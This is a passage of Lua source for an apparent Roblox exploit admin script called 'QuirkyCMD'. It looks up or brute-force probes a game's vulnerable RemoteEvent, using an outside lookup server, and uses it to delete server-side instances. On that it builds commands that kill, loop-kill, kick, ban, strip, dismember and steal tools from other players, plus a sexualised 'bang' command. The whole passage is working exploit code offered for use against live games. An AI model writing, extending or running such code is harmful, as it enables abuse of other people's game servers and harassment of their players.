			local res, succ, err, remoteJSON
			succ, err = pcall(function()
				res = httpget("https://eli.serv00.net/checkgame.php?id="..tostring(game.PlaceId))
				remoteJSON = game:GetService("HttpService"):JSONDecode(res)
			end)
			if not succ then return debugPrint("database check failed:", err) end
			local success = remoteJSON["success"]
			local result = remoteJSON["result"]
	
			if success then
				debugPrint(result)
				inDatabase = true
				if genv.foundRemote then return end
				for _, instance in pairs(game:GetDescendants()) do
					if not (instance:IsA("RemoteEvent") and instance.Name == result) then continue end
					genv.foundRemote = instance
					remotePath.Visible = false
					break
				end
			end
		end
	
		debugPrint("initialised vars and funcs")
		checkFile()
		task.spawn(checkDatabase)
		remotePath.Text = "checking database..."
		task.wait(0.25)
	
		if not genv.foundRemote then
			for i,service in pairs(game:GetChildren()) do
				if service.ClassName == "ReplicatedStorage" or service.ClassName == "Workspace" then continue end
				table.insert(services, service)
			end
	
			local function checkRemote(remote)
				debugPrint(remote.Name)
				remotePath.Text = remote:GetFullName()
				local currentBC = bodyColors
				local currentChar = character
				remote:FireServer(bodyColors)
				task.wait(checkTime + mobileOffset + (localPlayer:GetNetworkPing()*2))
				if (#currentChar:GetChildren() < 7) or (#character:GetChildren() < 7) or (currentChar ~= localPlayer.Character) or (currentBC ~= bodyColors) or (bodyColors.Parent == character) or (currentBC.Parent == character) then return end
				genv.foundRemote = remote
				debugPrint("found!")
				remotePath.TextColor3 = Color3.new(0,1,0)
				task.wait(.5)
				remotePath.Visible = false
				return true
			end
	
			local function scan(instance, softScan)
				checkTime = softScan and 0.75 or 0.5
				for i,v in pairs(instance:GetDescendants()) do
					if genv.foundRemote then return end
					if not v:IsA("RemoteEvent") then continue end
					if v:FindFirstChild("__FUNCTION") then continue end
					table.insert(remotes, v)
					if softScan then
						for _, phrase in pairs(wordList) do
							if not v.Name:lower():find(phrase) then continue end
							checkRemote(v)
						end
						continue
					end
					checkRemote(v)
				end
			end
	
			if not genv.foundRemote then
				debugPrint("soft rs")
				scan(rStorage, true)
			end
	
			if not genv.foundRemote then
				debugPrint("soft pgui")
				scan(localPlayer:FindFirstChildOfClass("PlayerGui"), true)
			end
	
			if not genv.foundRemote then
				debugPrint("soft ws")
				scan(workspace, true)
			end
	
			if not genv.foundRemote then
				debugPrint("aggro rs")
				scan(rStorage, false)
			end
	
			if not genv.foundRemote then
				debugPrint("aggro pgui")
				scan(localPlayer:FindFirstChildOfClass("PlayerGui"), false)
			end
	
			if not genv.foundRemote then
				debugPrint("aggro ws")
				scan(workspace, false)
			end
	
			if not genv.foundRemote then
				debugPrint("aggro all")
				for i,v in pairs(services) do
					scan(v, false)
				end
			end
		end
	
		if not genv.foundRemote then 
			remotePath.Text = "no remote found, aborting..."
			task.wait(3)
			gui:Destroy() 
			return debugPrint("no silly remote found :( try a game from #confirmed-games in the server") 
		end
	
		if hasFiles() and getGameList()[tostring(game.PlaceId)] == nil then
			logGameLocally()
		end
	
		function delete(instance)
			genv.foundRemote:FireServer(instance)
			debugPrint("deleted instance " .. instance.Name)
		end
	
		genv.delete = genv.delete or delete
	
		toggleBar(false)
	
		--[[Add mobile support]]--
		if isMobile then 
			debugPrint("adding mobile compatability")
			mobileButton.Visible = true
			box.Position = UDim2.new(0.5 - box.Size.X.Scale/2, 0,1,50)
	
			--[[Add button functionality]]--
			mobileButton.MouseButton1Click:Connect(function()
				toggleBar(true)
	
			end)
	
			--[[Add drag functionality]]--
			local dragging
			local dragInput
			local dragStart
			local startPos
	
			local lastMousePos
			local lastGoalPos
			local dragSpeed = 20
	
			local function update(dt)
				if not (startPos) then return end
				local snap = (mouse.ViewSizeX - mouse.X) <= mouse.ViewSizeX/2 and 1 or mobileButton.Size.X.Scale
				if not (dragging) and (lastGoalPos) then
					mobileButton.Position = UDim2.new(lastGoalPos.X.Scale, 0, startPos.Y.Scale, lerp(mobileButton.Position.Y.Offset, lastGoalPos.Y.Offset, dt * dragSpeed))
					return 
				end
	
				local delta = (lastMousePos - uis:GetMouseLocation())
				local xGoal = (startPos.X.Offset - delta.X)
				local yGoal = (startPos.Y.Offset - delta.Y)
				lastGoalPos = UDim2.new(snap,0, startPos.Y.Scale, yGoal)
	
				mobileButton.Position = UDim2.new(snap ,0, startPos.Y.Scale, lerp(mobileButton.Position.Y.Offset, yGoal, dt * dragSpeed))	
			end
	
			mobileButton.InputBegan:Connect(function(input)
				if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
					dragging = true
					dragStart = input.Position
					startPos = mobileButton.Position
					lastMousePos = uis:GetMouseLocation()
	
					input.Changed:Connect(function()
						if input.UserInputState == Enum.UserInputState.End then
							dragging = false
						end
					end)
				end
			end)
	
			mobileButton.InputChanged:Connect(function(input)
				if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
					dragInput = input
				end
			end)
	
			table.insert(genv.connections,rs.Heartbeat:Connect(update))
		end
	
		--[[Add command logic]]--
		function addCommand(cmdName, callback, aliases, securityLevel)
			table.insert(commands,{
				name = cmdName:lower(),
				callback = callback,
				aliases = aliases or {},
				securityLevel = securityLevel or 3
			})
		end
	
		function runCommand(cmdName, ...)
			if type(cmdName) == "table" then
				cmdName.callback(...)
				return
			end
			for i,v in pairs(commands) do
				if (v.name ~= cmdName) and (not table.find(v.aliases, cmdName)) then continue end
				v.callback(...)
				break
			end
		end
	
		local function handleCommand(text, caller)
			local split = text:split(" ")
			local enteredCommand = split[1]
			local command
			local target = split[2] or caller.Name
			local input = table.concat(split, " ", 2, #split)
			for i,v in pairs(commands) do -- bad implementation, might rewrite cmd handling again
				if (v.name ~= enteredCommand) and (not table.find(v.aliases,enteredCommand)) then continue end
				command = v
				break
			end
			if not command then return end
			local commandLevel = command.securityLevel
			local callerLevel = privilegeLevels[caller.Name]
			if callerLevel < commandLevel then return end
			runCommand(command, findPlayers(target), input)
		end
	
		--[[Add chat command functionality]]--
		local function handleChat(data)
			local message = modernChat and data.Text or data.Message
			local plr = modernChat and players:GetPlayerByUserId(data.TextSource.UserId) or players:FindFirstChild(data.FromSpeaker)
			local rank = privilegeLevels[plr.Name]
			if rank == 0 then return end
			local starter = message:sub(1,1)
			if starter ~= prefix then return end
			handleCommand(message:sub(2,-1), plr)
		end
	
		if modernChat then
			game:GetService("TextChatService").TextChannels["RBXGeneral"].OnIncomingMessage = function(data)
				handleChat(data)
			end
		else
			local messageEvent = chatEvents and chatEvents:FindFirstChild("OnMessageDoneFiltering")
			if messageEvent then
				table.insert(genv.connections, chatEvents and messageEvent.OnClientEvent:Connect(handleChat))
			end
		end
	
		--[[Add command bar functionality]]--
		table.insert(genv.connections,box.FocusLost:Connect(function(enterPressed)
			if visible then
				toggleBar()
			end
			if not enterPressed then return end
			handleCommand(box.Text, localPlayer)
		end))
	
		--[[Add plugin support]]--
		if listfiles and hasFiles() then
			local success, files = pcall(listfiles,"/")
			if success and type(files) == "table" then
				for i,v in pairs(files) do
					if v:sub(-5,-1) ~= ".qcmd" then continue end
					task.spawn(loadstring(readfile(v))) -- why does nothing support loadfile :sob:
				end
			end
		end
	
		--[[Create commands]]--
		addCommand("cmds", function()
			cmdsFrame.Visible = true
		end, {"commands"}, 3)
	
		addCommand("setprefix", function(plrs,newPrefix)
			local char = newPrefix:sub(1,1)
			if char == "" then prefix = ";" return end
			prefix = char
			prefixEnum = getKeyCode(char)
		end, {"prefix"}, 3)
	
		addCommand("setbind", function()
			uis.InputBegan:Wait() -- fires Return KeyCode
			local enum = uis.InputBegan:Wait().KeyCode
			prefixEnum = enum
		end, {"bind"}, 3)
	
		addCommand("admin", function(plrs)
			for i,v in pairs(plrs) do
				if v == localPlayer then continue end
				privilegeLevels[v.Name] = 1
				debugPrint(`{v.Name} has been made an admin`)
			end
		end, {"addadmin"}, 2)
	
		addCommand("unadmin", function(plrs)
			for i,v in pairs(plrs) do
				if v == localPlayer then continue end
				privilegeLevels[v.Name] = 0
				debugPrint(`{v.Name} is no longer an admin`)
			end
		end, {"removeadmin"}, 2)
	
		addCommand("owner", function(plrs)
			for i,v in pairs(plrs) do
				if v == localPlayer then continue end
				privilegeLevels[v.Name] = 2
				debugPrint(`{v.Name} has been made an owner`)
			end
		end, {"addowner", "op"}, 3)
	
		addCommand("unowner", function(plrs)
			for i,v in pairs(plrs) do
				if v == localPlayer then continue end
				privilegeLevels[v.Name] = 0
				debugPrint(`{v.Name} is no longer an owner`)
			end
		end, {"removeowner", "deop"}, 3)
	
		addCommand("ranks", function()
			local printString = "\nQuirkyCMD ranks:\n"
			for name,level in pairs(privilegeLevels) do
				if level == 0 then continue end
				local plr = players:FindFirstChild(name)
				if not plr then continue end
				local displayName = plr.DisplayName
				local rank = rankNames[level] 
				local entryString = ""
				printString ..= `{displayName}`  .. ((name ~= displayName and ` (@{name})`) or "") .. ` - {rank}\n`
			end
			print(printString)
		end, {"admins", "owners"}, 3)
	
		addCommand("aliases", function()
			local printString = "\nQuirkyCMD command aliases:\n"
			for i,v in pairs(commands) do
				local aliases = v.aliases
				if #aliases == 0 then continue end
				local aliasString = ""
				for index, alias in pairs(aliases) do 
					aliasString ..= alias .. (index == #aliases and "" or ", ")
				end
				printString ..= `{v.name}: [{aliasString}]\n`
			end
			print(printString)
		end, {}, 3)
	
		addCommand("explorer", function()
			local function addTree(Instance)
				local InstTree = Iris.Tree({Instance.Name})
	
				Iris.SameLine() do
					if Iris.SmallButton({"Delete"}).clicked then
						delete(Instance)
					end
					if Iris.SmallButton({"Clear children"}).clicked then
						for i,v in pairs(Instance:GetChildren()) do
							delete(v)
						end
					end
					Iris.End()
				end
	
				if InstTree.state.isUncollapsed.value then
					for i,v in pairs(Instance:GetChildren()) do
						addTree(v)
					end
				end
				Iris.End()
			end
	
			Iris:Connect(function()
				Iris.Window({"QCMD Explorer", [Iris.Args.Window.NoClose] = false}, {size = Iris.State(Vector2.new(200, 300)), position = Iris.State(Vector2.new(500, 75))}) do
					local priorityServices = {"Workspace", "Lighting", "Players", "ReplicatedStorage", "StarterPlayer", "StarterPack", "StarterGui"}
					for i,v in pairs(priorityServices) do
						addTree(game:GetService(v))
					end
					for i,v in pairs(game:GetChildren()) do
						if table.find(priorityServices, v.ClassName) then continue end
						addTree(v)
					end
					Iris.End()
				end
			end)
		end, {"dex"}, 3)
	
		addCommand("goto", function(plrs)
			local target
			local part
			for i,v in pairs(plrs) do
				local tChar = v.Character
				if not tChar then continue end
				part = tChar:FindFirstChild("HumanoidRootPart") or tChar:FindFirstChild("Head") or tChar:FindFirstChild("Torso") or tChar:FindFirstChild("LowerTorso") or tChar:FindFirstChildOfClass("BasePart")
				if not part then continue end
				break
			end
			if not part then return end
	
			character:PivotTo(part.CFrame * CFrame.new(0,0,2))
		end, {"to"}, 3)
	
		local viewConnection
		addCommand("view", function(plrs)
			local target
			for i,v in pairs(plrs) do
				local char = v.Character
				if not char then continue end
				local hum = char:FindFirstChild("Humanoid") or char:FindFirstChild("HumanoidRootPart")
				if not hum then continue end
				target = hum
				break
			end
			if not target then return end
			if viewConnection then viewConnection:Disconnect() end
			viewConnection = players[target.Parent.Name].CharacterAdded:Connect(function(char)
				local hum = char:WaitForChild("Humanoid")
				if not hum then return end
				camera.CameraSubject = hum
			end)
			table.insert(genv.connections,viewConnection)
			camera.CameraSubject = target
		end, {"spectate"}, 3)
	
		addCommand("unview", function(plrs)
			if viewConnection then viewConnection:Disconnect() end
			camera.CameraSubject = character.Humanoid or character:FindFirstChildOfClass("BasePart")
		end, {}, 3)
	
		addCommand("rejoin", function()
			if #players:GetPlayers() <= 1 then
				localPlayer:Kick("Rejoining!!")
				task.wait(.1)
				game:GetService("TeleportService"):Teleport(game.PlaceId, localPlayer)
				return
			end
			game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,game.JobId,localPlayer)
		end, {"rj"}, 3)
	
		addCommand("reset", function()
			local hum = character:FindFirstChild("Humanoid")
			local hrp = character:FindFirstChild("HumanoidRootPart") or hum and hum.RootPart
			local oldPosition = hrp and hrp.CFrame
			for i,v in pairs(character:GetChildren()) do
				if not v:IsA("Part") then continue end
				v.CFrame = CFrame.new(0, workspace.FallenPartsDestroyHeight+5,0)
			end
			task.wait(.1)
			if hum then hum:ChangeState(Enum.HumanoidStateType.Dead) end
			character:BreakJoints()
			if not oldPosition then return end
			local newHrp = localPlayer.CharacterAdded:Wait():WaitForChild("HumanoidRootPart")
			newHrp.CFrame = oldPosition
		end, {"re", "respawn"}, 3)
	
		addCommand("btools", function()
			sgui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true)
			if localPlayer.Backpack:FindFirstChild("wacky destroy tool") or (character and character:FindFirstChild("wacky destroy tool")) then
				return
			end
	
			local selection
	
			local destroyTool = Instance.new("Tool", localPlayer.Backpack)
			destroyTool.RequiresHandle = false
			destroyTool.CanBeDropped = false
			destroyTool.Name = "wacky destroy tool"
			destroyTool.ToolTip = "Click to destroy"
			destroyTool.TextureId = "rbxasset://Textures/Hammer.png"
	
			local selectionLoop
	
			destroyTool.Equipped:Connect(function()
				selection = Instance.new("SelectionBox",localPlayer.PlayerGui)
				table.insert(genv.connections, selection)
				selectionLoop = rs.Heartbeat:Connect(function()
					local target = mouse.Target
					if target == nil then
						selection.Adornee = nil
						return 
					end
					if selection.Parent == nil then return end
					selection.Adornee = target
				end)
				table.insert(genv.connections, selectionLoop)
			end)
	
			destroyTool.Unequipped:Connect(function()
				if not selection then return end
				selection:Destroy()
			end)
	
			destroyTool.Activated:Connect(function()
				local target = mouse.Target
				if target == nil then return end
				delete(target)
			end)
	
			local unweldTool = Instance.new("Tool", localPlayer.Backpack)
			unweldTool.RequiresHandle = false
			unweldTool.CanBeDropped = false
			unweldTool.Name = "wacky unweld tool"
			unweldTool.ToolTip = "Click to unweld"
			unweldTool.TextureId = "rbxassetid://4989743039"
	
			local selectionLoop
	
			unweldTool.Equipped:Connect(function()
				selection = Instance.new("SelectionBox",localPlayer.PlayerGui)
				table.insert(genv.connections, selection)
				selectionLoop = rs.Heartbeat:Connect(function()
					local target = mouse.Target
					if target == nil then
						selection.Adornee = nil
						return 
					end
					if selection.Parent == nil then return end
					selection.Adornee = target
				end)
				table.insert(genv.connections, selectionLoop)
			end)
	
			unweldTool.Unequipped:Connect(function()
				if not selection then return end
				selection:Destroy()
			end)
	
			unweldTool.Activated:Connect(function()
				local target = mouse.Target
				if target == nil then return end
				for i,v in pairs(target:GetDescendants()) do
					if not (v:IsA("Weld") or v:IsA("Attachment")) then continue end
					delete(v)
				end
			end)
		end, {}, 3)
	
		addCommand("gun", function()
			sgui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true)
			if not character then return end
			local humanoid = character:FindFirstChildOfClass("Humanoid")
			if localPlayer.Backpack:FindFirstChild("wacky gun tool") or (character:FindFirstChild("wacky gun tool")) then
				return
			end
	
			local gunTool = Instance.new("Tool", localPlayer.Backpack)
			gunTool.RequiresHandle = false
			gunTool.CanBeDropped = false
			gunTool.Name = "wacky gun tool"
			gunTool.ToolTip = "Click a player to \"shoot\" them"
			gunTool.TextureId = "rbxassetid://822278164"
	
	
			local handle = Instance.new("Part", gunTool)
			handle.Name = "Handle"
			handle.Transparency = 1
			handle.CanCollide = false
			handle.Size = Vector3.new(0.001,0.001,0.001)
			handle.Massless = true
	
			local track
			gunTool.Activated:Connect(function()
				local target = mouse.Target
				if target == nil then return end
				for i,v in pairs(players:GetPlayers()) do
					local char = v.Character
					if char == nil then continue end
					for _, part in pairs(char:GetDescendants()) do
						if (not part:IsA("BasePart")) or part ~= target then continue end
						if humanoid.RigType == Enum.HumanoidRigType.R6 then
							track.TimePosition = 0.4
							task.wait(.25)
							track.TimePosition = 0.18
						end
						local arg = {players:GetPlayerFromCharacter(char)}
						runCommand("ragdoll", arg)
						task.wait(1.5)
						runCommand("kill", arg)
						break
					end
				end
			end)
			if humanoid.RigType ~= Enum.HumanoidRigType.R6 then return end
	
			local animation = Instance.new("Animation")
			animation.AnimationId = "rbxassetid://33169583"
			track = humanoid:LoadAnimation(animation)
			track.Priority = Enum.AnimationPriority.Movement
	
	
			gunTool.Equipped:Connect(function()
				track:Play()
				task.wait()
				track:AdjustSpeed(0)
				track.TimePosition = 0.18
				track:AdjustWeight(0.95)
			end)
	
	
			gunTool.Unequipped:Connect(function()
				track:Stop()
			end)
		end, {}, 3)
	
		addCommand("punch", function()
			sgui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true)
			if not character then return end
			local humanoid = character:FindFirstChildOfClass("Humanoid")
			if not humanoid then return end
			local isR15 = humanoid.RigType == Enum.HumanoidRigType.R15
			local arm = (isR15 and character:FindFirstChild("RightLowerArm")) or (character:FindFirstChild("Right Arm"))
			if not arm then return end
	
			if localPlayer.Backpack:FindFirstChild("wacky punch tool") or (character:FindFirstChild("wacky punch tool")) then
				return
			end
	
			local punchTool = Instance.new("Tool", localPlayer.Backpack)
			punchTool.RequiresHandle = false
			punchTool.CanBeDropped = false
			punchTool.Name = "wacky punch tool"
			punchTool.ToolTip = "Click to punch"
			punchTool.TextureId = "rbxassetid://14881411853"
	
			local animation = Instance.new("Animation")
			animation.AnimationId = (isR15 and "rbxassetid://846744780") or ("rbxassetid://204062532")
	
			local track = humanoid:LoadAnimation(animation)
	
			local attacking = false
	
			local touchedConnection = arm.Touched:Connect(function(part)
				if not attacking then return end
				local parent = part.Parent
				if not parent then return end
				local target = players:GetPlayerFromCharacter(parent)
				if (not target) or (target == localPlayer) then return end
				local hum = parent:FindFirstChildOfClass("Humanoid")
				if hum and hum.Health <= 0 then return end
				runCommand("kill",{target})
			end)
	
			punchTool.Activated:Connect(function()
				if attacking then return end
				track:Play()
				task.wait(isR15 and 0.2 or 0.165)
				attacking = true
				track.Ended:Wait()
				attacking = false
			end)
		end, {"slap"}, 3)
	
	
		table.insert(genv.connections,players.PlayerAdded:Connect(function(plr)
			if (slockEnabled or bans[tostring(plr.UserId)]) then
				task.wait()
				delete(plr)
			end
		end))
	
		addCommand("ban", function(plrs, input)
			for i,v in pairs(plrs) do
				if v == localPlayer then continue end
				if bans[tostring(v.UserId)] then continue end
				bans[tostring(v.UserId)] = input
				delete(v)
			end
		end, {}, 2)
	
		addCommand("unban", function(plrs, input)
			for i,v in pairs(bans) do
				if v == input or i == input then
					bans[i] = nil
				end
			end
		end, {}, 2)
	
		addCommand("kick", function(plrs)
			for i,v in pairs(plrs) do
				delete(v)
			end
		end, {}, 2)
	
	
		addCommand("kill", function(plrs)
			for i,v in pairs(plrs) do
				local char = v.Character
				if char == nil then continue end
				local humanoid = char:FindFirstChildOfClass("Humanoid")
				local head = char:FindFirstChild("Head")
				if head == nil then continue end
				local neck = head:FindFirstChild("Neck")
				if neck == nil then
					local torso = char:FindFirstChild("Torso")
					if torso and torso:FindFirstChild("Neck") then neck = char.Torso.Neck end
				end
				if humanoid and humanoid.RequiresNeck and neck then
					delete(neck)
					continue
				end
				delete(head)
			end
		end, {}, 1)
	
		table.insert(genv.connections, rs.Heartbeat:Connect(function()
			local toKill = {}
			for i,v in pairs(loopkills) do
				if v.Parent ~= players then table.remove(toKill, i) continue end
				if not v.Character then continue end
				table.insert(toKill, v)
			end
			runCommand("kill", toKill)
		end))
	
		addCommand("loopkill", function(plrs)
			for i,v in pairs(plrs) do
				if table.find(loopkills, v) then continue end
				table.insert(loopkills, v)
			end
		end, {}, 1)
	
		addCommand("unloopkill", function(plrs, input)
			if input:lower() == "all" then loopkills = {} return end 
			for i,v in pairs(loopkills) do
				if not table.find(plrs, v) then continue end
				table.remove(loopkills, i)
			end
		end, {}, 1)
	
		addCommand("naked", function(plrs)
			for i,v in pairs(plrs) do
				local char = v.Character
				if char == nil then continue end
				local pants = char:FindFirstChild("Pants")
				local shirt = char:FindFirstChild("Shirt")
				local tshirt = char:FindFirstChild("Shirt Graphic")
	
				if pants then delete(pants) end
				if shirt then delete(shirt) end
				if tshirt then delete(tshirt) end
	
				for _,instance in pairs(char:GetDescendants()) do
					if not instance:IsA("WrapLayer") then continue end
					delete(instance.Parent.Parent)
				end
			end
		end, {"noclothing"}, 1)
	
		addCommand("bald", function(plrs)
			for i,v in pairs(plrs) do
				local char = v.Character
				if char == nil then continue end
				for _,instance in pairs(char:GetChildren()) do
					if not instance:IsA("Accessory") then continue end
					delete(instance)
				end
			end
		end, {"nohats"}, 1)
	
	
		addCommand("nolimbs", function(plrs)
			for i,v in pairs(plrs) do
				local char = v.Character
				if char == nil then continue end
				for _,instance in pairs(char:GetChildren()) do
					for i,v in pairs(limbs) do
						if not instance.Name:lower():find(v) then continue end
						delete(instance)
					end
				end
			end
		end, {}, 1)
	
		addCommand("noface", function(plrs)
			for i,v in pairs(plrs) do
				local char = v.Character
				if char == nil then continue end
				local head = char:FindFirstChild("Head")
				if head == nil then continue end
				for _,instance in pairs(head:GetChildren()) do
					if not instance:IsA("Decal") then continue end
					delete(instance)
				end
			end
		end, {}, 1)
	
		addCommand("stripidentity", function(plrs)
			runCommand("noface",plrs)	
			runCommand("naked", plrs)
			runCommand("bald", plrs)
		end, {"strip", "noidentity"}, 1)
	
		addCommand("korblox", function(plrs)
			for i,v in pairs(plrs) do
				local char = v.Character
				if not char then continue end
				local r6Leg = char:FindFirstChild("Right Leg") 
				if r6Leg then 
					delete(r6Leg)
					continue 
				end
				local r15Leg = char:FindFirstChild("RightUpperLeg")
				if not r15Leg then continue end
				delete(r15Leg)
			end
		end, {}, 1)
	
		addCommand("rescale", function(plrs)
			for i,v in pairs(plrs) do
				local char = v.Character
				if not char then continue end
				local hum = char:FindFirstChildOfClass("Humanoid")
				if not hum then continue end
				if hum.RigType ~= Enum.HumanoidRigType.R15 then continue end
				local function rm()
					for i,v in pairs(char:GetDescendants()) do
						if not v:IsA("BasePart") then continue end
						if v.Name == "Handle" or v.Name == "Head" then
							if not char.Head:FindFirstChild("OriginalSize") then continue end
							delete(char.Head.OriginalSize)
							continue
						end
						for i,cav in pairs(v:GetDescendants()) do
							if not cav:IsA("Attachment") then continue end
							local op = cav:FindFirstChild("OriginalPosition") 
							if not op then continue end
							delete(op)
							task.wait(.1)
						end
						local os = v:FindFirstChild("OriginalSize") 
						if os then
							delete(os)
							task.wait(.1)
						end
						local apst = v:FindFirstChild("AvatarPartScaleType")
						if not apst then continue end
						delete(apst)
						task.wait(.1)
					end
				end
	
				for i,v in pairs(atts) do
					rm()
					task.wait(.1)
					local scale = hum:FindFirstChild(v)
					if not scale then continue end
					delete(scale)
					task.wait(.1)
				end
			end
		end, {"morph"}, 1)
	
		addCommand("ragdoll", function(plrs)
			for i,v in pairs(plrs) do
				local char = v.Character
				if char == nil then continue end
				local hrp = char:FindFirstChild("HumanoidRootPart")
				if hrp == nil then continue end
				delete(hrp)
			end
		end, {"nohrp"}, 1)
	
		addCommand("sink", function(plrs)
			for i,v in pairs(plrs) do
				local char = v.Character
				if char == nil then continue end
				local humanoid = char:FindFirstChildOfClass("Humanoid")
				if humanoid == nil then continue end
				delete(humanoid)
			end
		end, {"nohum","nohumanoid"}, 2)
	
		addCommand("freeze", function(plrs)
			runCommand("ragdoll", plrs)
			runCommand("noanims", plrs)
		end, {}, 2)
	
		addCommand("noanims", function(plrs)
			for i,v in pairs(plrs) do
				local char = v.Character
				if char == nil then continue end
				local humanoid = char:FindFirstChildOfClass("Humanoid")
				if humanoid == nil then continue end
				local animator = humanoid:FindFirstChildOfClass("Animator")
				if animator == nil then continue end
				delete(animator)
				local animate = char:FindFirstChild("Animate")
				if animate == nil then continue end
				delete(animate)
			end
		end, {}, 1)
	
		addCommand("invisible", function(plrs)
			local ignoreList = {"UpperTorso", "Head", "HumanoidRootPart", "Humanoid"}
			for i,v in pairs(plrs) do
				local char = v.Character
				if char == nil then continue end
				local humanoid = char:FindFirstChildOfClass("Humanoid")
				if humanoid == nil then continue end 
				if humanoid.RigType ~= Enum.HumanoidRigType.R15 then continue end
				for _,instance in pairs(char:GetChildren()) do 
					if table.find(ignoreList, instance.Name) then continue end
					delete(instance)
				end
				if humanoid.RootPart then humanoid.RootPart.Transparency = 0.6 end
			end
		end, {"invis"}, 1)
	
		addCommand("legwalk", function(plrs)
			local deleteList = {"LeftUpperArm","RightUpperArm"}
			for i,v in pairs(plrs) do
				local char = v.Character
				if char == nil then continue end
				local humanoid = char:FindFirstChildOfClass("Humanoid")
				if humanoid == nil then continue end 
				if humanoid.RigType ~= Enum.HumanoidRigType.R15 then continue end
				local upperTorso = char:FindFirstChild("UpperTorso")
				if upperTorso == nil then continue end
				local waist = upperTorso:FindFirstChild("Waist")
				if waist == nil then continue end
				for _,instance in pairs(char:GetChildren()) do 
					if not (table.find(deleteList, instance.Name) or instance:IsA("Accessory")) then continue end
					delete(instance)
				end
				delete(waist)
			end
		end, {"split"}, 1)
	
		addCommand("fakechat", function(plrs)
			if not character then return end
			local humanoid = character:FindFirstChildOfClass("Humanoid")
			if humanoid.RigType ~= Enum.HumanoidRigType.R15 then return end
			local hrp = character:FindFirstChild("HumanoidRootPart")
			if not (humanoid and hrp) then return end
			local target
			for i,v in pairs(plrs) do
				if v == localPlayer then continue end
				if not v.Character then continue end
				if not v.Character:FindFirstChild("HumanoidRootPart") then continue end
				target = v
				break
			end
			if not target then return end
	
			runCommand("unbang")
			runCommand("view", {target})
			hrp.CFrame = CFrame.new(0,2^63-3,0)
			task.wait(0.1)
			runCommand("invis", {localPlayer})
	
			local followLoop = rs.Heartbeat:Connect(function()
				if target.Character == nil then return end
				local thrp = target.Character:FindFirstChild("HumanoidRootPart")
				local thum = target.Character:FindFirstChild("Humanoid")
				if thrp == nil then return end
				local thrpVel = thrp.Velocity 
				local thrpPos = thrp.Position 
				local predictedCF = CFrame.new(thrpPos.X + thrpVel.X/4,thrpPos.Y,thrpPos.Z + thrpVel.Z/4)
				hrp.AssemblyAngularVelocity = Vector3.zero
				hrp.AssemblyLinearVelocity = Vector3.zero
				hrp.CFrame = (predictedCF*CFrame.new(0,3,-1.5)) * CFrame.Angles(math.rad(90),0,0)
			end)
	
			table.insert(genv.connections,followLoop)
			table.insert(genv.connections,humanoid.Died:Connect(function()
				if followLoop then followLoop:Disconnect() end
				runCommand("unview")
			end))
		end, {}, 3)
	
		addCommand("notools", function(plrs)
			for i,v in pairs(plrs) do
				for _, instance in pairs(v:FindFirstChildOfClass("Backpack"):GetChildren()) do
					if not instance:IsA("BackpackItem") then continue end
					delete(instance)
				end
				local char = v.Character
				if char == nil then continue end
				for _, instance in pairs(char:GetChildren()) do
					if not instance:IsA("BackpackItem") then continue end
					delete(instance)
				end
			end
		end, {}, 1)
	
		addCommand("stealtools", function(plrs)
			if not character then return end
			local lpHumanoid = character:FindFirstChildOfClass("Humanoid")
			if not lpHumanoid then return end
			for i,plr in pairs(plrs) do
				local char = plr.Character
				if char == nil then continue end
				local head = char:FindFirstChild("Head")
				if head == nil then continue end
				delete(head)
				task.wait(0.05)
				local humanoid = char:FindFirstChildOfClass("Humanoid")
				if humanoid then
					delete(humanoid)
				end
				repeat task.wait() until char:FindFirstChildOfClass("Humanoid") == nil
				task.wait(.05)
				for i,v in pairs(char:GetChildren()) do
					if not (v:IsA("BackpackItem") and v:FindFirstChild("Handle")) then continue end
					debugPrint(v.Name)
					v.Handle.CFrame = character.Humanoid.RootPart.CFrame
					lpHumanoid:EquipTool(v)
				end
			end
		end, {}, 3)
	
		addCommand("punish", function(plrs)
			for i,v in pairs(plrs) do
				local char = v.Character
				if char == nil then continue end
				delete(char)
			end
		end, {}, 2)
	
		addCommand("bang", function(plrs) -- credit to the Infinite Yield team
			if not character then return end
			local humanoid = character:FindFirstChildOfClass("Humanoid")
			if not humanoid then return end
			runCommand("unbang")
			local target
			for i,v in pairs(plrs) do
				if not v.Character then continue end
				if not v.Character:FindFirstChildOfClass("Humanoid") then continue end
				if not v.Character.Humanoid.RootPart then continue end
				target = v
				break
			end
			bangAnim = Instance.new("Animation")
			bangAnim.AnimationId = (humanoid.RigType ~= Enum.HumanoidRigType.R15) and "rbxassetid://148840371" or "rbxassetid://5918726674"
			bang = humanoid:LoadAnimation(bangAnim)
			bang:Play(0.1, 1, 1)
			bang:AdjustSpeed(3)
			bangLoop = nil
			bangDied = nil;bangDied = humanoid.Died:Connect(function()
				bang:Stop()
				bangAnim:Destroy()
				bangDied:Disconnect()
				if bangLoop then bangLoop:Disconnect() end
			end)
			if target == localPlayer then return end
			bangLoop = rs.Stepped:Connect(function()
				if target.Character == nil then return end
				local hum = target.Character:FindFirstChildOfClass("Humanoid")
				if hum == nil then return end
				local root = hum.RootPart
				if root == nil then return end
				character:PivotTo(root.CFrame * CFrame.new(0, 0.75, 1.1))
			end)
			table.insert(genv.connections,bangLoop)
		end, {}, 3)
	
		addCommand("unbang", function()
			if bangDied then bangDied:Disconnect() end
			if bang then bang:Stop() end
			if bangAnim then bangAnim:Destroy() end
			if bangLoop then bangLoop:Disconnect() end
		end, {}, 3)
	
		addCommand("clearstarter", function()
			local whitelist = {"BubbleChat", "ChatScript", "PlayerScriptsLoader", "RbxCharacterSounds", "PlayerModule"}
	
			for i,v in pairs(sgui:GetChildren()) do
				delete(v)
			end
			for i,v in pairs(game:GetService("StarterPack"):GetChildren()) do
				delete(v)
			end
			for i,v in pairs(game:GetService("StarterPlayer"):FindFirstChildOfClass("StarterPlayerScripts"):GetChildren()) do
				if table.find(whitelist, v.Name) then continue end
				delete(v)
			end
			for i,v in pairs(game:GetService("StarterPlayer"):FindFirstChildOfClass("StarterCharacterScripts"):GetChildren()) do
				delete(v)
			end
		end, {"clearstarters"}, 1)
	
		addCommand("cleargui", function()
			for i,v in pairs(sgui:GetChildren()) do
				delete(v)
			end
		end,{"clearsgui", "clearguis"}, 1)
	
		addCommand("nochat",function()
